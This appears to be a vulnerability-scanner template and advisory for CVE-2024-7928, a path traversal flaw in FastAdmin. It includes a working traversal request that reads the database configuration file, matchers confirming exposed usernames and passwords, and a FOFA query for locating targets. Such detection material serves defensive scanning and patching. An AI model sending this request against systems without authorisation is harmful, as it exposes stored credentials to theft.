A vulnerability, which was classified as problematic, has been found in FastAdmin up to 1.3.3.20220121. Affected by this issue is some unknown functionality of the file /index/ajax/lang. The manipulation of the argument lang leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.3.4.20220530 is able to address this issue. It is recommended to upgrade the affected component.
id: CVE-2024-7928
info:
name: FastAdmin < V1.3.4.20220530 - Path Traversal
author: s4e-io,Hel10-Web
severity: medium
description: |
A vulnerability, which was classified as problematic, has been found in FastAdmin up to 1.3.3.20220121. Affected by this issue is some unknown functionality of the file /index/ajax/lang. The manipulation of the argument lang leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.3.4.20220530 is able to address this issue. It is recommended to upgrade the affected component.
impact: |
Authenticated attackers can exploit path traversal to read sensitive files including database configuration files containing credentials, usernames, passwords, and other critical system information.
remediation: |
Update FastAdmin to version 1.3.4.20220530 or later to address the path traversal vulnerability in the lang parameter.
reference:
- https://wiki.shikangsi.com/post/share/da0292b8-0f92-4e6e-bdb7-73f47b901acd
- https://github.com/bigb0x/CVE-2024-7928
- https://nvd.nist.gov/vuln/detail/CVE-2024-7928
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
cvss-score: 4.3
cve-id: CVE-2024-7928
cwe-id: CWE-22
epss-score: 0.16882
epss-percentile: 0.9689
cpe: cpe:2.3:a:fastadmin:fastadmin:1.3.3.20220121:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: fastadmin
product: fastadmin
fofa-query: icon_hash="-1036943727"
tags: cve,cve2024,fastadmin,lfi,vkev,vuln
http:
- raw:
- |
GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'jsonpReturn('
- '"password":'
- '"username":'
- '"database":'
condition: and
- type: word
part: content_type
words:
- 'application/javascript'
- type: status
status:
- 200
# digest: 4a0a0047304502207601371e186ab6a4c28a6da8d481f0f5e6fd3bc58548b9528f32e9c7798a5a59022100b3aac04653ec5642dd55a39e12f093e61f5abdf8e35cd203ab2a1c4cc00976f7:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.